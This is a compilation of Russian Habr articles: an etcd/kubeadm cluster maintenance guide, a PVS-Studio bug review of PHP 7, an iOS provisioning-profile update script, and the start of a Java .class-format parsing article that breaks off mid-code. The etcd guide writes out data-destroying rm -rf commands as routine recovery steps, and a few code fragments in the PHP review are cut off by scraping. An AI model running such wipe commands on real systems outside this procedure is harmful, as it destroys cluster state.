Подготовка
----------
Поэтому, первое что мы сделаем, это зайдём по ssh на одну из master-нод и найдём наш etcd-контейнер:
```
CONTAINER_ID=$(crictl ps -a --label io.kubernetes.container.name=etcd --label io.kubernetes.pod.namespace=kube-system | awk 'NR>1{r=$1} $0~/Running/{exit} END{print r}')
```
Так же установим алиас, чтобы каждый раз не перечислять пути к сертификатам в командах:
```
alias etcdctl='crictl exec "$CONTAINER_ID" etcdctl --cert /etc/kubernetes/pki/etcd/peer.crt --key /etc/kubernetes/pki/etcd/peer.key --cacert /etc/kubernetes/pki/etcd/ca.crt'
```
*Приведённые выше команды являются временными, вам потребуется выполнять их каждый раз перед тем как начать работать с etcd. Конечно, для своего удобства вы можете добавить их в* ***.bashrc****. Однако это уже выходит за рамки этой статьи.*
> Если что-то пошло не так и вы не можете сделать exec в запущенный контейнер, посмотрите логи etcd:
>
> `crictl logs "$CONTAINER_ID"`
>
> А также убедитесь в наличии static-манифеста и всех сертификатов в случае если контейнер даже не создался. Логи kubelet так же бывают весьма полезными.
>
>
Проверка состояния кластера
---------------------------
Здесь всё просто:
```
# etcdctl member list -w table
+------------------+---------+-------+---------------------------+---------------------------+------------+
| ID | STATUS | NAME | PEER ADDRS | CLIENT ADDRS | IS LEARNER |
+------------------+---------+-------+---------------------------+---------------------------+------------+
| 409dce3eb8a3c713 | started | node1 | https://10.20.30.101:2380 | https://10.20.30.101:2379 | false |
| 74a6552ccfc541e5 | started | node2 | https://10.20.30.102:2380 | https://10.20.30.102:2379 | false |
| d70c1c10cb4db26c | started | node3 | https://10.20.30.103:2380 | https://10.20.30.103:2379 | false |
+------------------+---------+-------+---------------------------+---------------------------+------------+
```
Каждый инстанс etcd знает всё о каждом. Информация о members хранится внутри самого etcd и поэтому любое изменение в ней будет также обновленно и на остальных инстансах кластера.
**Важное замечание**, команда `member list` отображает только статус конфигурации, но не статус конкретного инстанса. Чтобы проверить статусы инстансов есть команда `endpoint status`, но она требует явного указания всех эндпоинтов кластера для проверки.
```
ENDPOINTS=$(etcdctl member list | grep -o '[^ ]\+:2379' | paste -s -d,)
etcdctl endpoint status --endpoints=$ENDPOINTS -w table
```
в случае если какой-то из эндпоинтов окажется недоступным вы увидите такую ошибку:
```
Failed to get the status of endpoint https://10.20.30.103:2379 (context deadline exceeded)
```
Удаление неисправной ноды
-------------------------
Иногда случается так что какая-то из нод вышла из строя. И вам нужно восстановить работоспособность etcd-кластера, как быть?
Первым делом нам нужно удалить failed member:
```
etcdctl member remove d70c1c10cb4db26c
```
Прежде чем продолжить, давайте убедимся, что на упавшей ноде под с etcd больше не запущен, а нода больше не содержит никаких данных:
```
rm -rf /etc/kubernetes/manifests/etcd.yaml /var/lib/etcd/
crictl rm "$CONTAINER_ID"
```
Команды выше удалят static-pod для etcd и дирректорию с данными `/var/lib/etcd` на ноде.
Разумеется в качестве альтернативы вы также можете воспользоваться командой `kubeadm reset`, которая удалит все Kubernetes-related ресурсы и сертификаты с вашей ноды.
### Добавление новой ноды
Теперь у нас есть два пути:
**В первом случае** мы можем просто добавить новую control-plane ноду используя стандартный `kubeadm join` механизм:
```
kubeadm init phase upload-certs --upload-certs
kubeadm token create --print-join-command --certificate-key
```
Вышеприведённые команды сгенерируют команду для джойна новой control-plane ноды в Kubernetes. Этот кейс довольно подробно описан в [официальной документации](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/high-availability/#steps-for-the-rest-of-the-control-plane-nodes) Kubernetes и не нуждается в разъяснении.
Этот вариант наиболее удобен тогда, когда вы деплоите новую ноду с нуля или после выполнения `kubeadm reset`
**Второй вариант** более аккуратный, так как позволяет рассмотреть и выполнить изменения необходимые только для etcd не затрагивая при этом другие контейнеры на ноде.
Для начала убедимся что наша нода имеет валидный CA-сертификат для etcd:
```
/etc/kubernetes/pki/etcd/ca.{key,crt}
```
В случае его отсутствия скопируейте его с других нод вашего кластера. Теперь сгенерируем остальные сертификаты для нашей ноды:
```
kubeadm init phase certs etcd-healthcheck-client
kubeadm init phase certs etcd-peer
kubeadm init phase certs etcd-server
```
и выполним присоединение к кластеру:
```
kubeadm join phase control-plane-join etcd --control-plane
```
Для понимания, вышеописанная команда сделает следующее:
1. Добавит новый member в существующий etcd-кластер:
```
etcdctl member add node3 --endpoints=https://10.20.30.101:2380,https://10.20.30.102:2379 --peer-urls=https://10.20.30.103:2380
```
2. Сгенерирует новый static-manifest для etcd `/etc/kubernetes/manifests/etcd.yaml` с опциями:
```
--initial-cluster-state=existing
--initial-cluster=node1=https://10.20.30.101:2380,node2=https://10.20.30.102:2380,node3=https://10.20.30.103:2380
```
эти опции позволят нашей ноде автоматически добавиться в существующий etcd-кластер.
Создание снапшота etcd
----------------------
Теперь рассмотрим вариант создания и восстановления etcd из резервной копии.
Создать бэкап можно довольно просто, выполнив на любой из нод:
```
etcdctl snapshot save /var/lib/etcd/snap1.db
```
Обратите внимание я намеренно использую `/var/lib/etcd` так как эта директория уже прокинута в etcd контейнер (смотрим в static-манифест `/etc/kubernetes/manifests/etcd.yaml`)
После выполнения этой команды по указанному пути вы найдёте снапшот с вашими данными, давайте сохраним его в надёжном месте и рассмотрим процедуру восстановления из бэкапа
Восстановление etcd из снапшота
-------------------------------
Здесь мы рассмотрим кейс когда всё пошло не так и нам потребовалось восстановить кластер из резервной копии.
У нас есть снапшот **snap1.db** сделанный на предыдущем этапе. Теперь давайте полностью удалим static-pod для etcd и данные со всех наших нод:
```
rm -rf /etc/kubernetes/manifests/etcd.yaml /var/lib/etcd/member/
crictl rm "$CONTAINER_ID"
```
Теперь у нас снова есть два пути:
**Вариант первый** создать etcd-кластер из одной ноды и присоединить к нему остальные ноды, по описанной выше процедуре.
```
kubeadm init phase etcd local
```
эта команда сгенерирует статик-манифест для etcd c опциями:
```
--initial-cluster-state=new
--initial-cluster=node1=https://10.20.30.101:2380
```
таким образом мы получим девственно чистый etcd на одной ноде.
```
# etcdctl member list -w table
+------------------+---------+-------+---------------------------+---------------------------+------------+
| ID | STATUS | NAME | PEER ADDRS | CLIENT ADDRS | IS LEARNER |
+------------------+---------+-------+---------------------------+---------------------------+------------+
| 1afbe05ae8b5fbbe | started | node1 | https://10.20.30.101:2380 | https://10.20.30.101:2379 | false |
+------------------+---------+-------+---------------------------+---------------------------+------------+
```
Восстановим бэкап на первой ноде:
```
etcdctl snapshot restore /var/lib/etcd/snap1.db \
--data-dir=/var/lib/etcd/new \
--name=node1 \
--initial-advertise-peer-urls=https://10.20.30.101:2380 \
--initial-cluster=node1=https://10.20.30.101:2380
mv /var/lib/etcd/member /var/lib/etcd/member.old
mv /var/lib/etcd/new/member /var/lib/etcd/member
crictl rm "$CONTAINER_ID"
rm -rf /var/lib/etcd/member.old/ /var/lib/etcd/new/
```
На остальных нодах выполним присоединение к кластеру:
```
kubeadm join phase control-plane-join etcd --control-plane
```
**Вариант второй:** восстановить бэкап сразу на всех нодах кластера. Для этого копируем файл снапшота на остальные ноды, и выполняем восстановление вышеописанным образом. В данном случае в опциях к etcdctl нам потребуется указать сразу все ноды нашего кластера, к примеру
для **node1**:
```
etcdctl snapshot restore /var/lib/etcd/snap1.db \
--data-dir=/var/lib/etcd/new \
--name=node1 \
--initial-advertise-peer-urls=https://10.20.30.101:2380 \
--initial-cluster=node1=https://10.20.30.101:2380,node2=https://10.20.30.102:2380,node3=https://10.20.30.103:2380
```
для **node2**:
```
etcdctl snapshot restore /var/lib/etcd/snap1.db \
--data-dir=/var/lib/etcd/new \
--name=node2 \
--initial-advertise-peer-urls=https://10.20.30.102:2380 \
--initial-cluster=node1=https://10.20.30.101:2380,node2=https://10.20.30.102:2380,node3=https://10.20.30.103:2380
```
для **node3**:
```
etcdctl snapshot restore /var/lib/etcd/snap1.db \
--data-dir=/var/lib/etcd/new \
--name=node3 \
--initial-advertise-peer-urls=https://10.20.30.103:2380 \
--initial-cluster=node1=https://10.20.30.101:2380,node2=https://10.20.30.102:2380,node3=https://10.20.30.103:2380
```
### Потеря кворума
Иногда случается так что мы потеряли большинство нод из кластера и etcd перешёл в неработоспособное состояние. Удалить или добавить новых мемберов у вас не получится, как и создать снапшот.
Выход из этой ситуации есть. Нужно отредактировать файл static-манифеста и добавить ключ `--force-new-cluster` к etcd:
```
/etc/kubernetes/manifests/etcd.yaml
```
после чего инстанс etcd перезапустится в кластере с единственным экземпляром:
```
# etcdctl member list -w table
+------------------+---------+-------+---------------------------+---------------------------+------------+
| ID | STATUS | NAME | PEER ADDRS | CLIENT ADDRS | IS LEARNER |
+------------------+---------+-------+---------------------------+---------------------------+------------+
| 1afbe05ae8b5fbbe | started | node1 | https://10.20.30.101:2380 | https://10.20.30.101:2379 | false |
+------------------+---------+-------+---------------------------+---------------------------+------------+
```
Теперь вам нужно очистить и добавить остальные ноды в кластер по описанной выше процедуре. Только не забудьте удалить ключ `--force-new-cluster` после всех этих манипуляций ;-) | https://habr.com/ru/post/544390/ | null | ru | null |
# Проверка PHP 7
Повторная проверка проектов нередко бывает весьма интересной. Она позволяет узнать, какие новые ошибки были допущены в ходе разработке приложения, а какие ошибки уже были исправлены. Раньше мой коллега уже писал о проверке PHP. С выходом новой версии (PHP7), я решил ещё раз проверить исходный код интерпретатора и нашёл кое-что интересное.
Проверяемый проект
------------------
[PHP](http://php.net/) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений. Язык и его интерпретатор разрабатываются в рамках проекта с открытым кодом.
3 декабря 2015 года было объявлено о выходе PHP версии 7.0.0. Новая версия основывается на экспериментальной ветке PHP, которая изначально называлась phpng (Следующее поколение PHP), и разрабатывалась с упором на увеличение производительности и уменьшение потребления памяти.
Объектом проверки стал интерпретатор PHP, исходный код которого доступен в репозитории на [GitHub](https://github.com/php/php-src). Проверяемая ветвь — master.
В качестве инструмента анализа использовался статический анализатор кода [PVS-Studio](http://www.viva64.com/ru/pvs-studio/). Для проверки использовалась [система мониторинга компиляции](http://www.viva64.com/ru/d/0323/), позволяющая осуществлять анализ проекта независимо от того, какая система используется для сборки этого проекта. Пробная версия анализатора доступна для загрузки по [ссылке](http://www.viva64.com/ru/pvs-studio-download/).
С предыдущей проверкой проекта можно познакомиться в статье Святослава Размыслова "[Заметка про проверку PHP](http://www.viva64.com/ru/b/0277/)".
Найденные ошибки
----------------
Стоит отметить, что многие ошибки, найденные анализатором, находятся в библиотеках, используемых в PHP. Если все их рассматривать в этой статье, её объем бы порядочно вырос. Но с другой стороны ошибки, допущенные в библиотеках, используемых в проекте, проявят себя и при использовании проекта. Поэтому некоторые из этих ошибок всё же будут выписаны в этой статье.
Отдельно хотелось бы отметить, что во время анализа сложилось впечатление, что код *целиком* написан на макросах. Они просто повсюду. Это сильно усложняет задачу анализа, про отладку подобного кода я вообще молчу. Их повсеместное использование, к слову, вышло же боком – ошибки из макросов растаскивались по коду. Но об этом ниже.
```
static void spl_fixedarray_object_write_dimension(zval *object,
zval *offset,
zval *value)
{
....
if (intern->fptr_offset_set) {
zval tmp;
if (!offset) {
ZVAL_NULL(&tmp);
offset = &tmp
} else {
SEPARATE_ARG_IF_REF(offset);
}
....
spl_fixedarray_object_write_dimension_helper(intern, offset, value)
}
```
**Предупреждение PVS-Studio:** [V506](http://www.viva64.com/ru/d/0095/) Pointer to local variable 'tmp' is stored outside the scope of this variable. Such a pointer will become invalid. spl\_fixedarray.c 420
При истинности условного выражения оператора *if*, приведённого выше, указателю *offset* может быть присвоен адрес переменной *tmp*. При этом время жизни переменной *tmp* ограничено её областью видимости, т.е. телом оператора *if*. Но ниже по коду вызывается функция, принимающая в качестве одного из параметров указатель *offset*, который ссылается на уже уничтоженную переменную, что может привести к ошибке при работе с данным указателем.
Другой странный код:
```
#define MIN(a, b) (((a)<(b))?(a):(b))
#define MAX(a, b) (((a)>(b))?(a):(b))
SPL_METHOD(SplFileObject, fwrite)
{
....
size_t str_len;
zend_long length = 0;
....
str_len = MAX(0, MIN((size_t)length, str_len));
....
}
```
**Предупреждение PVS-Studio:** [V547](http://www.viva64.com/ru/d/0137/) Expression is always false. Unsigned type value is never < 0. spl\_directory.c 2886
Логика кода проста — сначала сравнивают 2 величины и берут из них меньшую, после чего полученный результат сравнивают с нулём и записывают в переменную *str\_len* большее из этих значений. Проблема кроется в том, что *size\_t* — беззнаковый тип, следовательно, его значение всегда неотрицательно. В итоге использование второго макроса *MAX* попросту не имеет смысла. Что это — просто лишняя операция, или какая-то более серьёзная ошибка — судить разработчику, писавшему код.
Это не единственное странное сравнение, встретились и другие.
```
static size_t sapi_cli_ub_write(const char *str, size_t str_length)
{
....
size_t ub_wrote;
ub_wrote = cli_shell_callbacks.cli_shell_ub_write(str, str_length);
if (ub_wrote > -1) {
return ub_wrote;
}
}
```
**Предупреждение PVS-Studio:** [V605](http://www.viva64.com/ru/d/0220/) Consider verifying the expression: ub\_wrote > — 1. An unsigned value is compared to the number -1. php\_cli.c 307
Переменная *ub\_wrote* имеет тип *size\_t*, являющийся беззнаковым. Однако ниже выполняется проверка вида *ub\_wrote > -1.* На первый взгляд может показаться, что это выражение всегда будет истинным, так как *ub\_wrote* может хранить в себе только неотрицательные значения. На самом деле всё обстоит интереснее.
Тип литерала -1 (*int*) будет преобразован к типу переменной *ub\_wrote* (*size\_t*), то есть в сравнении *ub\_wrote* с переменной будет участвовать преобразованное значение. В 32-битной программе это будет беззнаковое значение *0xFFFFFFFF*, а в 64-битной – *0xFFFFFFFFFFFFFFFF*. Таким образом, переменная *ub\_wrote* будет сравниваться с максимальным значением типа *unsigned long*. В итоге результатом этого сравнения всегда будет значение *false*, и оператор *return* никогда не выполнится.
Схожий код встретился ещё раз. Соответствующее сообщение: [V605](http://www.viva64.com/ru/d/0220/) Consider verifying the expression: shell\_wrote > — 1. An unsigned value is compared to the number -1. php\_cli.c 272
Следующий код, на который анализатор выдал предупреждение, также связан с макросом.
```
PHPAPI void php_print_info(int flag)
{
....
if (!sapi_module.phpinfo_as_text) {
php_info_print("Configuration
=============
\n");
} else {
SECTION("Configuration");
}
....
}
```
**Предупреждение PVS-Studio:** [V571](http://www.viva64.com/ru/d/0169/) Recurring check. The 'if (!sapi\_module.phpinfo\_as\_text)' condition was already verified in line 975. info.c 978
На первый взгляд может показаться, что всё нормально, и ошибки нет. Но давайте взглянем на то, что из себя представляет макрос *SECTION.*
```
#define SECTION(name) if (!sapi_module.phpinfo_as_text) { \
php_info_print("" name "
--------
\n"); \
} else { \
php_info_print_table_start(); \
php_info_print_table_header(1, name); \
php_info_print_table_end(); \
} \
```
В итоге, после препроцессирования в \*.i-файле будет содержаться код следующего вида:
```
PHPAPI void php_print_info(int flag)
{
....
if (!sapi_module.phpinfo_as_text) {
php_info_print("Configuration
=============
\n");
} else {
if (!sapi_module.phpinfo_as_text) {
php_info_print("Configuration
-------------
\n");
} else {
php_info_print_table_start();
php_info_print_table_header(1, "Configuration");
php_info_print_table_end();
}
}
....
}
```
Сейчас проблему заметить стало куда проще. Проверяется некоторое условие *(!sapi\_module.phpinfo\_as\_text*) и, если оно не выполняется, опять проверяется это условие (которое, естественно, никогда не выполнится). Согласитесь, выглядит, как минимум, странно.
Схожая ситуация, связанная с использованием этого макроса, встретилась ещё раз в этой же функции:
```
PHPAPI void php_print_info(int flag)
{
....
if (!sapi_module.phpinfo_as_text) {
SECTION("PHP License");
....
}
....
}
```
**Предупреждение PVS-Studio:** [V571](http://www.viva64.com/ru/d/0169/) Recurring check. The 'if (!sapi\_module.phpinfo\_as\_text)' condition was already verified in line 1058. info.c 1059
Аналогичная ситуация. То же условие, тот же макрос. Раскрываем, получаем код следующего вида:
```
PHPAPI void php_print_info(int flag)
{
....
if (!sapi_module.phpinfo_as_text) {
if (!sapi_module.phpinfo_as_text) {
php_info_print("PHP License
-----------
\n");
} else {
php_info_print_table_start();
php_info_print_table_header(1, "PHP License");
php_info_print_table_end();
}
....
}
....
}
```
Опять дважды проверяется одно и то же условие. Второе будет проверяться только в случае, если истинно первое. Тогда, если истинно первое условие (*!sapi\_module.phpinfo\_as\_text*), то всегда будет истинным и второе условие. В таком случае код, находящийся в ветви *else* второго оператора *if*, не будет выполнен вообще никогда.
Идём дальше.
```
static int preg_get_backref(char **str, int *backref)
{
....
register char *walk = *str;
....
if (*walk == 0 || *walk != '}')
....
}
```
**Предупреждение PVS-Studio:** [V590](http://www.viva64.com/ru/d/0194/) Consider inspecting the '\* walk == 0 || \* walk != '}'' expression. The expression is excessive or contains a misprint. php\_pcre.c 1033
В данном коде указатель разыменовывается, и его значение сравнивается с некоторыми литералами. Данный код избыточен. Для наглядности перепишем, упростив, выражение:
```
if (a == 0 || a != 125)
```
Как видите, условие можно упростить до *a != 125*.
Это может свидетельствовать как об избыточности кода, так и о том, что программист допустил более серьёзную ошибку.
Источником некоторых проблемных мест стал фреймворк Zend:
```
static zend_mm_heap *zend_mm_init(void)
{
....
heap->limit = (Z_L(-1) >> Z_L(1));
....
}
```
**Предупреждение PVS-Studio:** [V610](http://www.viva64.com/ru/d/0225/) Unspecified behavior. Check the shift operator '>>'. The left operand '(- 1)' is negative. zend\_alloc.c 1865
В данном коде используется операция правостороннего битового сдвига отрицательного значения. Это случай неуточнённого поведения (unspecified behavior). Хоть с точки зрения языка такой случай и не является ошибочным, в отличии от неопределённого поведения, лучше избегать подобных случаев, так как поведение подобного кода может различаться в зависимости от платформы и компилятора.
Другая интересная ошибка содержится в библиотеке PCRE:
```
const pcre_uint32 PRIV(ucp_gbtable[]) = {
....
(1<
```
**Предупреждение PVS-Studio:** [V501](http://www.viva64.com/ru/d/0090/) There are identical sub-expressions '(1 << ucp\_gbL)' to the left and to the right of the '|' operator. pcre\_tables.c 161
Ошибки подобного рода можно назвать классическими. Они [находились](http://www.viva64.com/ru/examples/V501/) и находятся в C++ проектах, [не избавлены от них](http://www.viva64.com/ru/examples/V3001/) проекты, написанные на C#, и, наверняка, на других языках тоже. Программист допустил опечатку и в выражении продублировал подвыражение *(1<. Скорее всего (если судить по остальной части исходного кода), подразумевалось подвыражение *(1<. Такие ошибки не бросаются в глаза даже в отдельно выписанном фрагменте кода, а уж на фоне остального — становятся вообще крайне трудно обнаруживаемыми.
Об этой ошибке, кстати, писал ещё мой коллега в предыдущей статье, но воз и ныне там.
Другое место из той же библиотеки:
```
....
firstchar = mcbuffer[0] | req_caseopt;
firstchar = mcbuffer[0];
firstcharflags = req_caseopt;
....
```
**Предупреждение PVS-Studio:** [V519](http://www.viva64.com/ru/d/0108/) The 'firstchar' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 8163, 8164. pcre\_compile.c 8164
Согласитесь, код выглядит странно. Записываем результат операции '|' в переменную *firstchar*, и тут же перезаписываем её значение, игнорируя результат предыдущей операции. Возможно, во втором случае вместо *firstchar* подразумевалась другая переменная, но сказать наверняка сложно.
Встретились и избыточные условия. Например:
```
PHPAPI php_stream *_php_stream_fopen_with_path(.... const char *path,
....)
{
....
if (!path || (path && !*path)) {
....
}
```
**Предупреждение PVS-Studio:** [V728](http://www.viva64.com/ru/d/0375/) An excessive check can be simplified. The '||' operator is surrounded by opposite expressions '!path' and 'path'. plain\_wrapper.c 1487
Данное выражение является избыточным: во втором подвыражении можно убрать проверку указателя *path* на неравенство nullptr. Тогда упрощённое выражение примет следующий вид:
```
if (!path || !*path)) {
```
Не стоит недооценивать подобные ошибки. Вместо переменной *path* вполне могло подразумеваться что-то ещё, тогда выражение будет не избыточным, а ошибочным. Кстати, это не единственное место. Встретились ещё несколько:* V728 An excessive check can be simplified. The '||' operator is surrounded by opposite expressions '!path' and 'path'. fopen\_wrappers.c 643
* V728 An excessive check can be simplified. The '||' operator is surrounded by opposite expressions '!headers\_lc' and 'headers\_lc'. sendmail.c 728
О сторонних библиотеках
-----------------------
Об этом я писал выше, но хочу повториться ещё раз. PHP использует некоторые сторонние библиотеки, которые, увы, не идеальны и содержат ошибки. Многие предупреждения выдавались как раз на код этих библиотек. Можно было бы проанализировать их все, но тогда, поверьте, статья вышла бы очень большой.
Определить, находится ли ошибка в коде интерпретатора PHP или сторонней библиотеки достаточно просто – в начале всех исходных файлов находится комментарий, описывающий лицензию, проект, авторов и пр. Отталкиваясь от этих комментариев легко определить, в файле какого проекта притаилась ошибка.
С другой стороны — некоторые интересные места всё же рассмотреть стоило. В любом случае, если вы используете какие-то сторонние библиотеки, ответственность перед пользователями за ошибки, допущенные в этих библиотеках, ложится также и на ваши плечи, так как ошибка может проявить себя в ходе использования именно вашего продукта. Поэтому стоит внимательнее относиться к тому, какие зависимости вы тянете в своём проекте.
Заключение
----------
Результаты проверки вышли интересными. На самом деле нашлось много ошибок, в статье рассматривалась только малая часть общих предупреждений высокого и среднего уровней достоверности. Многие из этих ошибок находятся в библиотеках, которые используются в PHP, а значит, неявно, кочуют в его код. В самом коде PHP тоже обнаружились интересные ошибки, некоторые из которых и были выписаны выше.
Подводя итог, хотелось бы сказать, что необходимо использовать различные средства, позволяющие повысить продуктивность работы и качества кода. Не стоит ограничиваться тестами и code review. Статический анализатор — один из тех инструментов, которые могут помочь программисту писать более качественный код позволяя полезнее использовать то время, которое было бы потрачено на поиск ошибки, допущенной из-за какой-нибудь опечатки. Но не стоит забывать, что статический анализатор — инструмент регулярного применения. И если вы ещё не используете его — рекомендую [загрузить](http://www.viva64.com/ru/pvs-studio-download/) PVS-Studio, проверить свой проект и посмотреть, что же интересного удастся найти.
[](http://www.viva64.com/en/b/0392/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. [Analysis of PHP7](http://www.viva64.com/en/b/0392/).
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio, версия 2015](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком.** | https://habr.com/ru/post/282684/ | null | ru | null |
# Обновление сертификатов на билд сервере
Во многих компаниях используют [Continuous Integration](http://ru.wikipedia.org/wiki/%D0%9D%D0%B5%D0%BF%D1%80%D0%B5%D1%80%D1%8B%D0%B2%D0%BD%D0%B0%D1%8F_%D0%B8%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D1%86%D0%B8%D1%8F).
Например, в Git может быть три ветки: customer, master, test.
Пуш в customer или test инициирует создание сборки, а также ее доставку на устройства заказчика или тестировщиков.
Для распространения тестовых сборок на iOS, используются [Ad Hoc профайлы](https://developer.apple.com/library/ios/documentation/IDEs/Conceptual/AppDistributionGuide/TestingYouriOSApp/TestingYouriOSApp.html). Суть в том, что сборка должна быть подписана профайлом, в котором указан UUID устройств на которых она может быть установлена.
Процедура добавления/удаления устройства в Ad Hoc профайл требует его пересоздания. После того как профайл обновлен, он должен быть установлен на сборочный нод (компьютер на котором собирается сборка). Обычно процедура обновления профайла выполняется через Xcode, что требует доступ к сборочному ноду через VNC и непосредственного участия человека.
К счастью, все можно автоматизировать, в том числе и процесс обновления профайлов при запуске сборки.
Насколько мне известно, есть два способа автоматизировать обновление профайла с использованием [Jenkins](http://jenkins-ci.org/).
#### Храним профайл в репозитории
1. Скачиваем с Apple Dev Center нужный профайл и кладём в Git как «profiles/customer.mobileprovision».
2. В настройках сборки в поле Embedded Profile пишем путь «profiles/customer.mobileprovision».
3. В XCode для соответствующей конфигурации в Build Settings выбираем профайл — None и identity — automatic.
#### Обновляем профайл перед сборкой
Очень хороший человек по имени Matt Thompson (рекомендую его [Блог](http://nshipster.com/)) создал клиент для работы с Apple Dev Center из консоли. Клиент называется [Cupertino](https://github.com/nomad/cupertino), написан на Ruby и ставится одной строчкой:
```
gem install cupertino
```
Теперь можно не класть «profiles/customer.mobileprovision» в Git, а вместо этого прописать в bash скрипте что-то вроде:
```
rm -rf profiles
mkdir profiles
update_cert "TestCert" profiles/customer.mobileprovision
```
Аналогично предыдущему способу, надо в XCode для соответствующей конфигурации в Build Settings выбрать профайл — None и identity — automatic.
Скрипт update\_cert выглядит так:
```
#!/bin/bash
if [ ! $# == 2 ]; then
echo "Usage: $0 (certificate name) (file name)"
exit
fi
cert_name=$1
new_file_name=$2
res=`ios profiles:download "${cert_name}" --username some_user_name --password some_password --team some_team_name -type distribution`
if [ $? -gt 0 ]; then
echo "ERROR!"
exit
fi
echo "$res"
file_name=$(echo "$res" | cut -d"'" -f 2)
mv "${file_name}" "${new_file_name}"
```
Можно обойтись без update\_cert, но в этом случае имя скаченного сертификата будет таким же как и в Apple Dev Center.
Очевидно, что скрипты можно доработать под свои нужды. Например, в случае, если нельзя скачать сертификат (проблема с сетью), то использовать имеющийся и прочее.
### Заключение
Автообновление профайлов — это просто и удобно.
Используйте на здоровье. | https://habr.com/ru/post/203426/ | null | ru | null |
# Исследуем бинарные форматы на примере байткода .class файла
Если вас не пугает картинка выше, если вы знаете чем отличается big-endian от little-endian, если вам всегда было интересно как "устроены" бинарные файлы, значит эта статья для ВАС!
Введение
========
На Хабре уже было несколько статей про реверс инжинеринг бинарных форматов и про исследование структуры байткода .class файла:
[Пул констант](https://habr.com/ru/post/222519/),
[Java Bytecode Fundamentals](https://habr.com/ru/post/111456/),
[Java байткод «Hello world»](https://habr.com/ru/post/264919/),
[Hello World из байт-кода для JVM](https://habr.com/ru/post/480550/) и т.д.
У исследователя возникает задача либо разобраться с неизвестным бинарным протоколом либо поковырять бинарную структуру на которую есть спецификация.
Мой интерес к бинарным форматам возник еще когда я был студентом и писал курсовую работу по разработке драйвера файловой системы Linux. Несколько лет спустя я читал лекции по основам Linux для экспертов-криминалистов — в давние времена Linux был в новинку и молодой специалист после ВУЗа мог поведать взрослым экспертам много нового. Рассказывая, как снять дамп с диска с помощью dd, а после подключить образ на другом компьютере для изучения, я понимал, что в образе диска лежит много интересной информации. Эту информацию можно было бы извлечь и без монтирования образа (ага, mount -o loop ...), если знать спецификацию на формат файловой системы и иметь соответствующие инструменты. К сожалению, у меня не было таких инструментов.
Еще через несколько лет мне потребовалось декомпилировать Java библиотеку. JD GUI в те времена еще не было, как и идеевского декомпайлера, но был JAD. Для моей библиотеки JAD выдавал смесь Java опкодов с сообщениями об ошибах. К тому же JAD не поддерживал аннотации, а в появившейся тогда Java 6 они использовались по полной. Вооружившись спецификацией на виртуальную машину Java, я начал работу...
Идея
====
Мне был нужен универсальный механизм для описания бинарных структур и универсальный загрузчик. Загрузчик, используя описание, будет читать бинарные данные в память. Обычно приходиться иметь дело с числами, строками, массивами данных и составными структурами. С числами все просто — они имеют фиксированную длину — 1, 2, 4 или 8 байт и могут быть сразу отображены в типы данных, имеющиеся в языке. Например: byte, short, int, long для Java. Для числовых типов длиной более одного байта нужно предусмотреть маркер порядка байт (так называемое BigEndian/LittleEndiang представление).
Со строками сложнее — они могут быть в различных кодировках (ASCII, UNICODE), иметь фиксированную или переменную длину. Строку фиксированной длинны, можно считать как массив байт. Для строк с переменной длиной можно использовать два варианта записи — указывать в начале строки ее длину (Pascal или Length-prefixed strings) либо в конце строки ставить специальный знак, обозначающий конец строки. В качестве такого знака используют байт со значением ноль (так называемые null-terminated srings). Оба варианта имеют преимущества и недостатки, обсуждение которых выходит за рамки этой статьи. Если размер задается в начале, то при разработке формата нужно определиться с максимальной длиной строки: от этого зависит сколько байт мы должны выделить на маркер длины: 28 — 1 для одного байта, 216 — 1 для двух байт и т.д.
Составные структуры данных будем выделять в отдельные классы, продолжая декомпозицию до чисел и строк.
Структура .class файла
======================
Нам необходимо каким-то образом описать структуру Java .class файла. В качестве результата хотелось бы иметь набор Java классов, где каждый класс содержит только поля, соответсвующие исселдуемой структуре данных и, возможно, вспомогательные методы для отображения объекта в человеко-читаемом виде при вызове toString() метода. Категорически не хотелось бы иметь внутри логику, отвечающую за чтение или запись файла.
Берем спецификациею виртуальной машины Java,
[JVM Specification, Java SE 12 Edition](https://docs.oracle.com/javase/specs/jvms/se12/jvms12.pdf).
Нас будет интересовать секция 4 "The class File Format".
Для того, чтобы определить какие поля в каком порядке загружать, введем аннотацию @FieldOrder(index=...). Нам необходимо явно указывать порядок полей для загрузчика, поскольку спецификация не даем нам гарантии на то, в каком порядке они будут сохранены в бинарном файле.
Java .class файл начинается с 4 байт magic number, двух байт минорной версии Java и двух байт мажорной версии. Упакуем magic number в переменную int, а номер минорной и мажорной версии — в short:
```
@FieldOrder(index = 1)
private int magic;
@FieldOrder(index = 2)
private short minorVersion;
@FieldOrder(index = 3)
private short majorVersion;
```
Дальше в .class файле идет размер пула констант (двухбайтовая переменная) и сам пул констант. Введем аннотацию @ContainerSize для объявления размера массивов и списочных структур. Размер может быть фиксированный (будем задавать его через аттрибут value) либо иметь переменную длинну, определяемую прочитанной ранее переменной. В этом случае будем использовать "fieldName" аттрибут, который указывает из какой переменной будем считывать размер контейнера. В соответствии со спецификацией (секция 4.1,
"The ClassFile Structure"), реальный размер пула констант отличается на 1 от того значения,
которое записано в constant\_pool\_count:
```
u2 constant_pool_count;
cp_info constant_pool[constant_pool_count-1];
```
Чтобы учесть такие коррекции, введем дополнительный аттрибут corrector в @ContainerSize аннотации.
Теперь мы можем добавить описание пула констант:
```
@FieldOrder(index = 4)
private short constantPoolCount;
@FieldOrder(index = 5)
@ContainerSize(fieldName = "constantPoolCount", corrector = -1)
private List constantPoolList = new ArrayList<>();
```
**В случае более сложных вычислений, можно просто добавить get-метод, который вернет необходимое значение:**
```
@FieldOrder(index= 1)
private int containerSize;
@FieldOrder(index = 2)
@ContainerSize(filed="actualContainerSize")
private List containerItems;
public int getActualContainerSize(){
return containerSize \* 2 + 3;
}
```
Constant Pool
=============
Каждый элемент в пуле констант представляет из себя либо описание соответствующей константы типа int, long, float, double, String, либо описание одной из составных частей Java класса — поля класса (fields), методы, сигнатуры методов и т.д. Под термином "контстанта" здесь подразумевается неименованое значение, используемое в коде:
```
if (intValue > 100500)
